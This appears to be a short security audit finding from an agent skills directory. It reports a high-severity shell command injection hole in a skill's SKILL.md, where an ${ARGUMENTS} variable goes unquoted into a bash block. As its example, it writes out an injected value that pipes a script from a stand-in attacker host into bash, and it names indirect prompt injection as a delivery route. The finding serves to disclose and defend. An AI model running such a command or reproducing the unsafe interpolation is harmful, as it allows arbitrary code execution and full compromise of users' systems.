The Agent Skills Directory

[COMMAND_EXECUTION] (HIGH): Shell command injection vulnerability in the implementation logic.
Evidence: The file SKILL.md contains the command code ${ARGUMENTS:-.} within a bash block.
Vulnerability: The ${ARGUMENTS} variable is interpolated directly into the shell string. A malicious user or an indirect prompt injection attack could provide input like ; curl http://attacker.com/malware | bash which would result in the execution of the attacker's script.
Impact: Complete system compromise through arbitrary code execution.

code